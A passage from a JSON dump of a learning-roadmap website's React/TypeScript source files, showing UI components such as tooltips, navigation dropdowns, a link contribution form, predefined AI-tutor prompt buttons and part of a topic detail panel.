  },
  {
    "path": "src/components/Tooltip.tsx",
    "content": "import { type ReactNode } from 'react';\nimport { clsx } from 'clsx';\n\ntype TooltipProps = {\n  children: ReactNode;\n  additionalClass?: string;\n  position?:\n    | 'right-center'\n    | 'right-top'\n    | 'right-bottom'\n    | 'left-center'\n    | 'left-top'\n    | 'left-bottom'\n    | 'top-center'\n    | 'top-left'\n    | 'top-right'\n    | 'bottom-center'\n    | 'bottom-left'\n    | 'bottom-right';\n};\n\nexport function Tooltip(props: TooltipProps) {\n  const { children, additionalClass = '', position = 'right-center' } = props;\n\n  let positionClass = '';\n  if (position === 'right-center') {\n    positionClass = 'left-full top-1/2 -translate-y-1/2 translate-x-1 ';\n  } else if (position === 'top-center') {\n    positionClass = 'bottom-full left-1/2 -translate-x-1/2 -translate-y-0.5';\n  } else if (position === 'bottom-center') {\n    positionClass = 'top-full left-1/2 -translate-x-1/2 translate-y-0.5';\n  } else if (position === 'left-center') {\n    positionClass = 'right-full top-1/2 -translate-y-1/2 -translate-x-1';\n  } else if (position === 'right-top') {\n    positionClass = 'left-full top-0';\n  } else if (position === 'right-bottom') {\n    positionClass = 'left-full bottom-0';\n  } else if (position === 'left-top') {\n    positionClass = 'right-full top-0';\n  } else if (position === 'left-bottom') {\n    positionClass = 'right-full bottom-0';\n  } else if (position === 'top-left') {\n    positionClass = 'bottom-full left-0';\n  } else if (position === 'top-right') {\n    positionClass = 'bottom-full right-0';\n  } else if (position === 'bottom-left') {\n    positionClass = 'top-full left-0';\n  } else if (position === 'bottom-right') {\n    positionClass = 'top-full right-0';\n  }\n\n  return (\n    <span\n      className={clsx(\n        'pointer-events-none absolute z-10 block w-max transform rounded-md bg-gray-900 px-2 py-1 text-sm font-medium text-white opacity-0 shadow-xs duration-100 group-hover:opacity-100',\n        positionClass,\n        additionalClass,\n      )}\n    >\n      {children}\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/TopNavDropdowns/AIDropdownMenu.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport { ChevronDown, Map, MessageCircle, Plus, Swords } from 'lucide-react';\nimport { useEffect } from 'react';\nimport {\n  aiDropdownOpen,\n  navigationDropdownOpen,\n  roadmapsDropdownOpen,\n} from '../../stores/page.ts';\nimport { NavigationDropdownMenu } from '../NavigationDropdownMenu.tsx';\n\nconst links = [\n  {\n    link: '/ai',\n    label: 'Create with AI',\n    description: 'Learn something new with AI',\n    Icon: Plus,\n  },\n  {\n    link: '/ai/quiz',\n    label: 'Test my Skills',\n    description: 'Test your skills with AI',\n    Icon: Swords,\n  },\n  {\n    link: '/ai/chat',\n    label: 'Ask AI Tutor',\n    description: 'Career, resume guidance, and more',\n    Icon: MessageCircle,\n  },\n  {\n    link: '/ai/roadmap-chat',\n    label: 'Roadmap Chat',\n    description: 'Chat with AI Tutor about a roadmap',\n    Icon: Map,\n  },\n];\n\nexport function AIDropdownMenu() {\n  const isOpen = useStore(aiDropdownOpen);\n  const isNavOpen = useStore(navigationDropdownOpen);\n\n  useEffect(() => {\n    if (isNavOpen) {\n      aiDropdownOpen.set(false);\n    }\n  }, [isNavOpen]);\n\n  return (\n    <NavigationDropdownMenu\n      links={links}\n      trigger={\n        <span className=\"group relative flex items-center gap-1 hover:text-white\">\n          AI Tutor\n          <ChevronDown className=\"inline-block h-3 w-3\" strokeWidth={4} />\n        </span>\n      }\n      isOpen={isOpen}\n      onOpen={() => {\n        navigationDropdownOpen.set(false);\n        roadmapsDropdownOpen.set(false);\n        aiDropdownOpen.set(true);\n      }}\n      onClose={() => aiDropdownOpen.set(false)}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/TopNavDropdowns/RoadmapDropdownMenu.tsx",
    "content": "import { ChevronDown, Globe, Map, Sparkles } from 'lucide-react';\nimport { useEffect } from 'react';\nimport { NavigationDropdownMenu } from '../NavigationDropdownMenu.tsx';\nimport {\n  aiDropdownOpen,\n  navigationDropdownOpen,\n  roadmapsDropdownOpen,\n} from '../../stores/page.ts';\nimport { useStore } from '@nanostores/react';\n\nconst links = [\n  {\n    link: '/roadmaps',\n    label: 'Official Roadmaps',\n    description: 'Made by subject matter experts',\n    Icon: Map,\n    isHighlighted: true,\n  },\n  {\n    link: '/ai/roadmap',\n    label: 'AI Roadmaps',\n    description: 'Generate roadmaps with AI',\n    Icon: Sparkles,\n    isHighlighted: false,\n  },\n  {\n    link: '/community',\n    label: 'Community Roadmaps',\n    description: 'Made by community members',\n    Icon: Globe,\n    isHighlighted: false,\n  },\n];\n\nexport function RoadmapDropdownMenu() {\n  const isOpen = useStore(roadmapsDropdownOpen);\n  const isNavOpen = useStore(navigationDropdownOpen);\n\n  useEffect(() => {\n    if (isNavOpen) {\n      roadmapsDropdownOpen.set(false);\n    }\n  }, [isNavOpen]);\n\n  return (\n    <NavigationDropdownMenu\n      links={links}\n      trigger={\n        <span>\n          Roadmaps{' '}\n          <ChevronDown className=\"inline-block h-3 w-3\" strokeWidth={4} />\n        </span>\n      }\n      isOpen={isOpen}\n      onOpen={() => {\n        navigationDropdownOpen.set(false);\n        aiDropdownOpen.set(false);\n        roadmapsDropdownOpen.set(true);\n      }}\n      onClose={() => roadmapsDropdownOpen.set(false)}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/TopNavDropdowns/UpgradeProButton.tsx",
    "content": "import { Zap } from 'lucide-react';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { cn } from '../../lib/classname';\n\nexport function UpgradeProButton() {\n  const { isPaidUser, isLoading } = useIsPaidUser();\n\n  return (\n    <a\n      href=\"/premium\"\n      className={cn(\n        'group animate-fade-in relative hidden items-center gap-1.5 font-medium text-yellow-400 transition-all duration-200 hover:text-yellow-300 xl:flex',\n        (isPaidUser || isLoading) && 'hidden!',\n      )}\n    >\n      <Zap className=\"h-4 w-4 fill-current\" />\n      Upgrade to Pro\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/ContributionForm.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\n\ntype ContributionInputProps = {\n  id: number;\n  title: string;\n  link: string;\n  isLast: boolean;\n  totalCount: number;\n  onAdd: () => void;\n  onRemove: () => void;\n  onChange: (link: { id: number; title: string; link: string }) => void;\n};\n\nfunction ContributionInput(props: ContributionInputProps) {\n  const {\n    isLast,\n    totalCount,\n    onAdd,\n    onRemove,\n    onChange,\n    id,\n    title: defaultTitle,\n    link: defaultLink,\n  } = props;\n  const titleRef = useRef<HTMLInputElement>(null);\n  const [focused, setFocused] = useState('');\n  const [title, setTitle] = useState(defaultTitle);\n  const [link, setLink] = useState(defaultLink);\n\n  useEffect(() => {\n    if (!titleRef?.current) {\n      return;\n    }\n\n    titleRef.current.focus();\n  }, []);\n\n  useEffect(() => {\n    onChange({ id, title, link });\n  }, [title, link]);\n\n  const canAddMore = isLast && totalCount < 5;\n\n  return (\n    <div className=\"relative mb-3 rounded-md border p-3\">\n      <p\n        className={`mb-1 text-xs uppercase ${\n          focused === 'title' ? 'text-black' : 'text-gray-400'\n        }`}\n      >\n        Resource Title\n      </p>\n      <input\n        ref={titleRef}\n        type=\"text\"\n        required\n        className=\"block w-full rounded-md border p-2 text-sm focus:border-gray-400 focus:outline-hidden\"\n        placeholder=\"e.g. Introduction to RESTful APIs\"\n        onFocus={() => setFocused('title')}\n        onBlur={() => setFocused('')}\n        onChange={(e) => setTitle((e.target as any).value)}\n      />\n      <p\n        className={`mb-1 mt-3 text-xs uppercase ${\n          focused === 'link' ? 'text-black' : 'text-gray-400'\n        }`}\n      >\n        Resource Link\n      </p>\n      <input\n        type=\"url\"\n        required\n        className=\"block w-full rounded-md border p-2 text-sm focus:border-gray-400 focus:outline-hidden\"\n        placeholder=\"e.g. https://roadmap.sh/guides/some-url\"\n        onFocus={() => setFocused('link')}\n        onBlur={() => setFocused('')}\n        onChange={(e) => setLink((e.target as any).value)}\n      />\n\n      <div className=\"mb-0 mt-3 flex gap-3\">\n        {totalCount !== 1 && (\n          <button\n            onClick={(e) => {\n              e.preventDefault();\n              onRemove();\n            }}\n            className=\"rounded-md text-sm font-semibold text-red-500 underline underline-offset-2 hover:text-red-800\"\n          >\n            - Remove Link\n          </button>\n        )}\n\n        {canAddMore && (\n          <button\n            onClick={(e) => {\n              e.preventDefault();\n              onAdd();\n            }}\n            className=\"rounded-md text-sm font-semibold text-gray-600 underline underline-offset-2 hover:text-black\"\n          >\n            + Add another Link\n          </button>\n        )}\n      </div>\n    </div>\n  );\n}\n\ntype ContributionFormProps = {\n  resourceType: string;\n  resourceId: string;\n  topicId: string;\n  onClose: (message?: string) => void;\n};\n\nexport function ContributionForm(props: ContributionFormProps) {\n  const { onClose, resourceType, resourceId, topicId } = props;\n  const toast = useToast();\n  const [isSubmitting, setIsSubmitting] = useState(false);\n  const [links, setLinks] = useState<\n    { id: number; title: string; link: string }[]\n  >([\n    {\n      id: new Date().getTime(),\n      title: '',\n      link: '',\n    },\n  ]);\n\n  async function onSubmit(e: any) {\n    e.preventDefault();\n    setIsSubmitting(true);\n\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-contribute-link`,\n      {\n        resourceType,\n        resourceId,\n        topicId,\n        links,\n      }\n    );\n\n    setIsSubmitting(false);\n\n    if (!response || error) {\n      toast.error(error?.message || 'Something went wrong. Please try again.');\n      return;\n    }\n\n    onClose('Thanks for your contribution! We will review it shortly.');\n  }\n\n  return (\n    <div>\n      <div className=\"mb-2 mt-2 rounded-md border bg-gray-100 p-3\">\n        <h1 className=\"mb-2 text-2xl font-bold\">Guidelines</h1>\n        <ul className=\"flex flex-col gap-1 text-sm text-gray-700\">\n          <li>Content should only be in English.</li>\n          <li>Do not add things you have not evaluated personally.</li>\n          <li>It should strictly be relevant to the topic.</li>\n          <li>It should not be paid or behind a signup.</li>\n          <li>\n            Quality over quantity. Smaller set of quality links is preferred.\n          </li>\n        </ul>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        {links.map((link, counter) => (\n          <ContributionInput\n            key={link.id}\n            id={link.id}\n            title={link.title}\n            link={link.link}\n            isLast={counter === links.length - 1}\n            totalCount={links.length}\n            onChange={(newLink) => {\n              setLinks(\n                links.map((l) => {\n                  if (l.id === link.id) {\n                    return newLink;\n                  }\n\n                  return l;\n                })\n              );\n            }}\n            onRemove={() => {\n              setLinks(links.filter((l) => l.id !== link.id));\n            }}\n            onAdd={() => {\n              setLinks([\n                ...links,\n                {\n                  id: new Date().getTime(),\n                  title: '',\n                  link: '',\n                },\n              ]);\n            }}\n          />\n        ))}\n\n        <div className=\"flex gap-2\">\n          <button\n            disabled={isSubmitting}\n            type=\"submit\"\n            className=\"block w-full rounded-md bg-gray-800 p-2 text-sm text-white hover:bg-black disabled:cursor-not-allowed disabled:bg-gray-400\"\n          >\n            {isSubmitting ? 'Please wait ...' : 'Submit'}\n          </button>\n          <button\n            className=\"block w-full rounded-md border border-red-500 p-2 text-sm text-red-600 hover:bg-red-600 hover:text-white\"\n            onClick={(e) => {\n              e.preventDefault();\n              onClose();\n            }}\n          >\n            Cancel\n          </button>\n        </div>\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/CreateCourseModal.tsx",
    "content": "import { WandSparkles } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport { useState } from 'react';\n\ntype CreateCourseModalProps = {\n  onClose: () => void;\n};\n\nexport function CreateCourseModal(props: CreateCourseModalProps) {\n  const { onClose } = props;\n\n  const [subject, setSubject] = useState('');\n\n  return (\n    <Modal\n      onClose={onClose}\n      wrapperClassName=\"h-auto mt-20\"\n      overlayClassName=\"items-start\"\n      bodyClassName=\"p-1.5\"\n    >\n      <form\n        onSubmit={(e) => {\n          e.preventDefault();\n          const formData = new FormData(e.target as HTMLFormElement);\n          const subject = formData.get('subject');\n\n          window.location.href = `/ai/course/search?term=${subject}&src=topic`;\n          onClose();\n        }}\n      >\n        <label\n          className=\"mb-2.5 ml-1 inline-block text-sm leading-none\"\n          htmlFor=\"subject\"\n        >\n          Ask AI to Teach You\n        </label>\n        <div className=\"relative flex items-center gap-2 overflow-hidden\">\n          <input\n            id=\"subject\"\n            type=\"text\"\n            className=\"w-full bg-white p-2.5 pr-8 text-sm focus:outline-hidden\"\n            placeholder=\"Enter a topic to learn\"\n            name=\"subject\"\n            autoFocus={true}\n            value={subject}\n            onChange={(e) => setSubject(e.target.value)}\n          />\n\n          <button\n            disabled={!subject.trim()}\n            className=\"flex h-full disabled:opacity-40 items-center justify-center gap-2 rounded-md bg-black px-3 py-1 text-sm text-white hover:opacity-80\"\n          >\n            Generate\n            <WandSparkles className=\"size-4\" />\n          </button>\n        </div>\n      </form>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/PaidResourceDisclaimer.tsx",
    "content": "import { useState } from 'react';\nimport { X } from 'lucide-react';\n\ntype PaidResourceDisclaimerProps = {\n  onClose: () => void;\n};\n\nexport function PaidResourceDisclaimer(props: PaidResourceDisclaimerProps) {\n  const { onClose } = props;\n\n  return (\n    <div className=\"relative ml-3 mt-4 rounded-md bg-gray-100 p-3 px-3 text-xs text-gray-500\">\n      <button className=\"absolute right-1 top-1\" onClick={onClose}>\n        <X size={16} className=\"absolute right-2 top-2 cursor-pointer\" />\n      </button>\n\n      <p className=\"mb-1 font-medium text-gray-800\">\n        Note on Premium Resources\n      </p>\n      <p className=\"mb-1\">\n        These are optional paid resources vetted by the roadmap team.\n      </p>\n      <p>\n        If you purchase a resource, we may receive a small commission at no\n        extra cost to you. This helps us offset the costs of running this site\n        and keep it free for everyone.\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/PredefinedActionGroup.tsx",
    "content": "import type { LucideIcon } from 'lucide-react';\nimport { useState, useRef } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport {\n  type PredefinedActionType,\n  PredefinedActionButton,\n} from './PredefinedActions';\n\ntype PredefinedActionGroupProps = {\n  label: string;\n  icon: LucideIcon;\n  actions: PredefinedActionType[];\n  onSelect: (action: PredefinedActionType) => void;\n};\n\nexport function PredefinedActionGroup(props: PredefinedActionGroupProps) {\n  const { label, icon: Icon, actions, onSelect } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const containerRef = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(containerRef, () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative\" ref={containerRef}>\n      <PredefinedActionButton\n        label={label}\n        icon={Icon}\n        onClick={() => setIsOpen(!isOpen)}\n        isGroup={true}\n      />\n\n      {isOpen && (\n        <div className=\"absolute top-full left-0 z-20 mt-1 divide-y overflow-hidden rounded-md border border-gray-200 bg-white p-0\">\n          {actions.map((action) => {\n            return (\n              <PredefinedActionButton\n                key={action.label}\n                {...action}\n                className=\"py-2 pl-2.5 pr-5 w-full rounded-none bg-transparent hover:bg-gray-200\"\n                onClick={() => {\n                  onSelect(action);\n                  setIsOpen(false);\n                }}\n              />\n            );\n          })}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/PredefinedActions.tsx",
    "content": "import {\n  BabyIcon,\n  BookOpenTextIcon,\n  BrainIcon,\n  ChevronDownIcon,\n  ListIcon,\n  NotebookPenIcon,\n  PencilLine,\n  Star,\n  type LucideIcon\n} from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { PredefinedActionGroup } from './PredefinedActionGroup';\n\nexport type PredefinedActionType = {\n  icon: LucideIcon;\n  label: string;\n  prompt?: string;\n  children?: PredefinedActionType[];\n};\n\nexport const actions: PredefinedActionType[] = [\n  {\n    icon: BookOpenTextIcon,\n    label: 'Explain',\n    children: [\n      {\n        icon: NotebookPenIcon,\n        label: 'Explain the topic',\n        prompt: 'Explain this topic in detail',\n      },\n      {\n        icon: ListIcon,\n        label: 'List the key points',\n        prompt: 'List the key points to remember from this topic',\n      },\n      {\n        icon: PencilLine,\n        label: 'Summarize the topic',\n        prompt:\n          'Briefly explain the topic in a few sentences. Treat it as a brief answer to an interview question. Your response should just be the answer to the question, nothing else.',\n      },\n      {\n        icon: BabyIcon,\n        label: 'Explain like I am five',\n        prompt: 'Explain this topic like I am a 5 years old',\n      },\n      {\n        icon: Star,\n        label: 'Why is it important?',\n        prompt:\n          'Why is this topic important? What are the real world applications (only add if appropriate)?',\n      },\n    ],\n  },\n  {\n    icon: BrainIcon,\n    label: 'Test my Knowledge',\n    prompt:\n      \"Act as an interviewer and test my understanding of this topic. Ask me a single question at a time and evaluate my answer. Question number should be bold. After evaluating my answer, immediately proceed to the next question without asking if I'm ready or want another question. Continue asking questions until I explicitly tell you to stop.\",\n  },\n];\n\nexport const promptLabelMapping = actions.reduce(\n  (acc, action) => {\n    if (action.prompt) {\n      acc[action.prompt] = action.label;\n    }\n\n    if (action.children) {\n      action.children.forEach((child) => {\n        if (child.prompt) {\n          acc[child.prompt] = child.label;\n        }\n      });\n    }\n\n    return acc;\n  },\n  {} as Record<string, string>,\n);\n\ntype PredefinedActionsProps = {\n  onSelect: (action: PredefinedActionType) => void;\n};\n\nexport function PredefinedActions(props: PredefinedActionsProps) {\n  const { onSelect } = props;\n\n  return (\n    <div className=\"flex items-center gap-2 border-gray-200 px-3 py-1 text-sm\">\n      {actions.map((action) => {\n        if (!action.children) {\n          return (\n            <PredefinedActionButton\n              key={action.label}\n              icon={action.icon}\n              label={action.label}\n              onClick={() => {\n                onSelect(action);\n              }}\n            />\n          );\n        }\n\n        return (\n          <PredefinedActionGroup\n            key={action.label}\n            label={action.label}\n            icon={action.icon}\n            actions={action.children}\n            onSelect={onSelect}\n          />\n        );\n      })}\n    </div>\n  );\n}\n\ntype PredefinedActionButtonProps = {\n  label: string;\n  icon?: LucideIcon;\n  onClick: () => void;\n  isGroup?: boolean;\n  className?: string;\n};\n\nexport function PredefinedActionButton(props: PredefinedActionButtonProps) {\n  const { label, icon: Icon, onClick, isGroup = false, className } = props;\n\n  return (\n    <button\n      className={cn(\n        'flex shrink-0 items-center gap-1.5 rounded-md bg-gray-200 px-2 py-1 text-sm whitespace-nowrap hover:bg-gray-300',\n        className,\n      )}\n      onClick={onClick}\n    >\n      {Icon && <Icon className=\"mr-1 size-3.5\" />}\n      {label}\n      {isGroup && <ChevronDownIcon className=\"size-3.5\" />}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/ResourceListSeparator.tsx",
    "content": "import { type LucideIcon, Star } from 'lucide-react';\nimport { cn } from '../../lib/classname.ts';\n\ntype ResourceSeparatorProps = {\n  text: string;\n  className?: string;\n  labelClassName?: string;\n  icon?: LucideIcon;\n};\n\nexport function ResourceListSeparator(props: ResourceSeparatorProps) {\n  const { text, icon: Icon, className = '', labelClassName = '' } = props;\n\n  return (\n    <p\n      className={cn(\n        'relative mt-6 flex items-center justify-start text-purple-600',\n        className,\n      )}\n    >\n      <span\n        className={cn(\n          'relative left-3 z-50 inline-flex items-center gap-1 rounded-md border border-current bg-white px-2 py-0.5 text-xs font-medium',\n          labelClassName,\n        )}\n      >\n        {Icon && <Icon className=\"inline-block h-3 w-3 fill-current\" />}\n        {text}\n      </span>\n      <span className=\"absolute inset-x-0 h-px w-full grow bg-current\" />\n    </p>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/TopicDetail.tsx",
    "content": "import { useEffect, useMemo, useRef, useState } from 'react';\n\nimport { useChat } from '@ai-sdk/react';\nimport { useQuery } from '@tanstack/react-query';\nimport {\n  Ban,\n  FileText, HeartHandshake,\n  Star,\n  X,\n  Zap\n} from 'lucide-react';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useLoadTopic } from '../../hooks/use-load-topic';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useToast } from '../../hooks/use-toast';\nimport { useToggleTopic } from '../../hooks/use-toggle-topic';\nimport { topicDetailAiChatTransport } from '../../lib/ai.ts';\nimport { getUrlParams, parseUrl } from '../../lib/browser';\nimport { cn } from '../../lib/classname.ts';\nimport { lockBodyScroll } from '../../lib/dom.ts';\nimport { httpGet } from '../../lib/http';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { markdownToHtml, sanitizeMarkdown } from '../../lib/markdown';\nimport { showLoginPopup } from '../../lib/popup';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport {\n  isTopicDone,\n  refreshProgressCounters,\n  renderTopicProgress,\n  updateResourceProgress as updateResourceProgressApi,\n} from '../../lib/resource-progress';\nimport { type AllowedRoadmapRenderer } from '../../lib/roadmap.ts';\nimport { aiLimitOptions } from '../../queries/ai-course.ts';\nimport { billingDetailsOptions } from '../../queries/billing.ts';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree.ts';\nimport { pageProgressMessage } from '../../stores/page';\nimport { queryClient } from '../../stores/query-client.ts';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal.tsx';\nimport type {\n  AllowedLinkTypes,\n  RoadmapContentDocument,\n} from '../CustomRoadmap/CustomRoadmap';\nimport type { AIChatHistoryType } from '../GenerateCourse/AICourseLessonChat.tsx';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon.tsx';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { CreateCourseModal } from './CreateCourseModal.tsx';\nimport { PaidResourceDisclaimer } from './PaidResourceDisclaimer.tsx';\nimport { ResourceListSeparator } from './ResourceListSeparator.tsx';\nimport { TopicDetailAI } from './TopicDetailAI.tsx';\nimport { TopicDetailLink } from './TopicDetailLink.tsx';\nimport {\n  TopicDetailsTabs,\n  type AllowedTopicDetailsTabs,\n} from './TopicDetailsTabs.tsx';\nimport { TopicProgressButton } from './TopicProgressButton.tsx';\n\ntype PaidResourceType = {\n  _id?: string;\n  title: string;\n  type: 'course' | 'book' | 'other';\n  url: string;\n  topicIds: string[];\n};\n\nconst paidResourcesCache: Record<string, PaidResourceType[]> = {};\n\nexport const CLOSE_TOPIC_DETAIL_EVENT = 'close-topic-detail';\n\nexport const defaultChatHistory: AIChatHistoryType[] = [\n  {\n    role: 'assistant',\n    content: 'Hey, I am your AI instructor. How can I help you today? 🤖',\n    isDefault: true,\n  },\n];\n\nasync function fetchRoadmapPaidResources(roadmapId: string) {\n  if (paidResourcesCache[roadmapId]) {\n    return paidResourcesCache[roadmapId];\n  }\n\n  const { response, error } = await httpGet<PaidResourceType[]>(\n    `${import.meta.env.PUBLIC_API_URL}/v1-list-roadmap-paid-resources/${roadmapId}`,\n  );\n\n  if (!response || error) {\n    console.error(error);\n    return [];\n  }\n\n  paidResourcesCache[roadmapId] = response;\n\n  return response;\n}\n\nconst PAID_RESOURCE_DISCLAIMER_HIDDEN = 'paid-resource-disclaimer-hidden';\n\ntype TopicDetailProps = {\n  resourceId?: string;\n  resourceType?: ResourceType;\n  renderer?: AllowedRoadmapRenderer;\n  defaultActiveTab?: AllowedTopicDetailsTabs;\n\n  hasUpgradeButtons?: boolean;\n\n  isEmbed?: boolean;\n  canSubmitContribution: boolean;\n\n  wrapperClassName?: string;\n  bodyClassName?: string;\n  overlayClassName?: string;\n  closeButtonClassName?: string;\n  onClose?: () => void;\n  shouldCloseOnBackdropClick?: boolean;\n  shouldCloseOnEscape?: boolean;\n};\n\nexport function TopicDetail(props: TopicDetailProps) {\n  const {\n    hasUpgradeButtons = true,\n    canSubmitContribution,\n    resourceId: defaultResourceId,\n    isEmbed = false,\n    renderer = 'balsamiq',\n    wrapperClassName,\n    bodyClassName,\n    overlayClassName,\n    closeButtonClassName,\n    onClose,\n    shouldCloseOnBackdropClick = true,\n    shouldCloseOnEscape = true,\n    defaultActiveTab = 'content',\n  } = props;\n\n  const [contributionUrl, setContributionUrl] = useState('');\n  const [isActive, setIsActive] = useState(false);\n  const [isTopicLoading, setIsTopicLoading] = useState(false);\n  const [isContributing, setIsContributing] = useState(false);\n  const [error, setError] = useState('');\n  const [topicHtml, setTopicHtml] = useState('');\n  const [hasContent, setHasContent] = useState(false);\n  const [topicTitle, setTopicTitle] = useState('');\n  const [links, setLinks] = useState<RoadmapContentDocument['links']>([]);\n  const [activeTab, setActiveTab] =\n    useState<AllowedTopicDetailsTabs>(defaultActiveTab);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [isCustomResource, setIsCustomResource] = useState(false);\n\n  const [showSubjectSearchModal, setShowSubjectSearchModal] = useState(false);\n\n  const toast = useToast();\n\n  const [showPaidResourceDisclaimer, setShowPaidResourceDisclaimer] =\n    useState(false);\n\n  const { secret } = getUrlParams() as { secret: string };\n  const isGuest = useMemo(() => !isLoggedIn(), []);\n  const topicRef = useRef<HTMLDivElement>(null);\n\n  // Details of the currently loaded topic\n  const [topicId, setTopicId] = useState('');\n  const [resourceId, setResourceId] = useState('');\n  const [resourceType, setResourceType] = useState<ResourceType>('roadmap');\n  const [paidResources, setPaidResources] = useState<PaidResourceType[]>([]);\n\n  const chatId = `${resourceType}-${resourceId}-${topicId}`;\n  const { messages, sendMessage, setMessages, status } = useChat({\n    id: chatId,\n    transport: topicDetailAiChatTransport,\n  });\n\n  const sanitizedTopicId = topicId?.includes('@')\n    ? topicId?.split('@')?.[1]\n    : topicId;\n  const { data: roadmapTreeMapping, isLoading: isRoadmapTreeMappingLoading } =\n    useQuery(\n      {\n        ...roadmapTreeMappingOptions(resourceId),\n        select: (data) => {\n          const node = data.find(\n            (mapping) => mapping.nodeId === sanitizedTopicId,\n          );\n          return node;\n        },\n        enabled: !!sanitizedTopicId && !isCustomResource,\n      },\n      queryClient,\n    );\n  const { data: tokenUsage, isLoading: isTokenUsageLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const isLoading =\n    isTopicLoading ||\n    isRoadmapTreeMappingLoading ||\n    isTokenUsageLoading ||\n    isBillingDetailsLoading;\n\n  const handleClose = () => {\n    onClose?.();\n    setIsActive(false);\n    setIsContributing(false);\n    setShowUpgradeModal(false);\n    setActiveTab('content');\n    setShowSubjectSearchModal(false);\n    setMessages([]);\n\n    lockBodyScroll(false);\n\n    window.dispatchEvent(new Event(CLOSE_TOPIC_DETAIL_EVENT));\n  };\n\n  // Close the topic detail when user clicks outside the topic detail\n  useOutsideClick(\n    topicRef,\n    shouldCloseOnBackdropClick ? handleClose : undefined,\n  );\n  useKeydown('Escape', shouldCloseOnEscape ? handleClose : undefined);\n\n  useEffect(() => {\n    if (resourceType !== 'roadmap' || !defaultResourceId) {\n      return;\n    }\n\n    setShowPaidResourceDisclaimer(\n      localStorage.getItem(PAID_RESOURCE_DISCLAIMER_HIDDEN) !== 'true',\n    );\n\n    fetchRoadmapPaidResources(defaultResourceId).then((resources) => {\n      setPaidResources(resources);\n    });\n  }, [defaultResourceId]);\n\n  // Toggle topic is available even if the component UI is not active\n  // This is used on the best practice screen where we have the checkboxes\n  // to mark the topic as done/undone.\n  useToggleTopic(({ topicId, resourceType, resourceId }) => {\n    if (isGuest) {\n      showLoginPopup();\n      return;\n    }\n\n    pageProgressMessage.set('Updating');\n\n    // Toggle the topic status\n    isTopicDone({ topicId, resourceId, resourceType })\n      .then((oldIsDone) =>\n        updateResourceProgressApi(\n          {\n            topicId,\n            resourceId,\n            resourceType,\n          },\n          oldIsDone ? 'pending' : 'done',\n        ),\n      )\n      .then(({ done = [] }) => {\n        renderTopicProgress(\n          topicId,\n          done.includes(topicId) ? 'done' : 'pending',\n        );\n        refreshProgressCounters();\n      })\n      .catch((err) => {\n        toast.error(err.message);\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n      });\n  });\n\n  // Load the topic detail when the topic detail is active\n  useLoadTopic(({ topicId, resourceType, resourceId, isCustomResource }) => {\n    setError('');\n    setIsTopicLoading(true);\n    setIsActive(true);\n\n    setTopicId(topicId);\n    setResourceType(resourceType);\n    setResourceId(resourceId);\n    setIsCustomResource(isCustomResource);\n\n    const topicPartial = topicId.replaceAll(':', '/');\n    let topicUrl =\n      resourceType === 'roadmap'\n        ? `/${resourceId}/${topicPartial}`\n        : `/best-practices/${resourceId}/${topicPartial}`;\n\n    if (isCustomResource) {\n      topicUrl = `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-get-node-content/${resourceId}/${topicId}${\n        secret ? `?secret=${secret}` : ''\n      }`;\n    }\n\n    httpGet<string | RoadmapContentDocument>(\n      topicUrl,\n      {},\n      {\n        ...(!isCustomResource && {\n          headers: {\n            Accept: 'text/html',\n          },\n        }),\n      },\n    )\n      .then(({ response }) => {\n        if (!response) {\n          setError('Topic not found.');\n          setIsTopicLoading(false);\n          return;\n        }\n        let topicHtml = '';\n        if (!isCustomResource) {\n          const topicDom = new DOMParser().parseFromString(\n            response as string,\n            'text/html',\n          );\n\n          const links = topicDom.querySelectorAll('a');\n          const urlElem: HTMLElement =\n            topicDom.querySelector('[data-github-url]')!;\n          const contributionUrl = urlElem?.dataset?.githubUrl || '';\n\n          const titleElem: HTMLElement = topicDom.querySelector('h1')!;\n          const otherElems = topicDom.querySelectorAll('body > *:not(h1, div)');\n\n          let ulWithLinks: HTMLUListElement = document.createElement('ul');\n\n          // we need to remove the `ul` with just links (i.e. resource links)\n          // and show them separately.\n          topicDom.querySelectorAll('ul').forEach((ul) => {\n            const lisWithJustLinks = Array.from(\n              ul.querySelectorAll('li'),\n            ).filter((li) => {\n              return (\n                li.children.length === 1 &&\n                li.children[0].tagName === 'A' &&\n                li.children[0].textContent === 